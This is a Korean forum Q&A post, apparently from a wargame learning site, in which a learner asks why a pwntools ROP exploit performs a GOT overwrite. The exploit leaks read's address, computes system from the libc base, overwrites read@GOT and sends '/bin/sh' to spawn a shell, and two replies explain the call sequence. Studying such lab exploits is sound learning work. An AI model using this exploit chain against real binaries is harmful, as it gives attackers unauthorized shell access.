GOT Overwrite 및 “/bin/sh” 입력 익스부터 이해가 되지 않습니다.

read(0, read_got, 0x10)

payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

read("/bin/sh") == system("/bin/sh")

payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00")

시스템 주소 계산과 GOT overwrite 개념까지는 이해를 했지만 위의 GOT overwrite 익스 코드부터 왜 저런 코드를 작성했는지 잘 모르겠습니다. 혹시 천천히 왜 read(0, read@got, 0)랑 read("/bin/sh")를 호출했고 입력이 끝났는데 어떻게 마지막에p.send(p64(system)+b"/bin/sh\x00") 호출했는지 설명 해주실 분 있으신가요?..

#pwnable
작성자 정보
답변 2
Hmin
강의 수강: 10

p.send(p64(system)+b"/bin/sh\x00")는 read(0, read_got, 0x10)에 입력을 주는 것입니다.
왜냐하면 read를 호출하고 아무런 입력을 주지 않았기 때문에 read는 입력이 올 때까지 대기하고
있기 때문입니다.

2022.12.17. 22:26
avatar
wyv3rn
무플 방지 위원회장

조금 오해하신 것 같은데 코드에서 리드로 한번 값을 받을때 다시 리드로 값을 받은 뒤 리드 함수를 실행해주는 시나리오 입니다.

다만 마지막 리드 실행은 이미 두번째 리드 시 리드 got에 시스템 함수가 들어있으니 system(binsh)를 호출하는 역할을 합니다.

정 이해 안되시면 디스코드로 오세용 ㅎㅎ

2022.12.18. 13:54
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기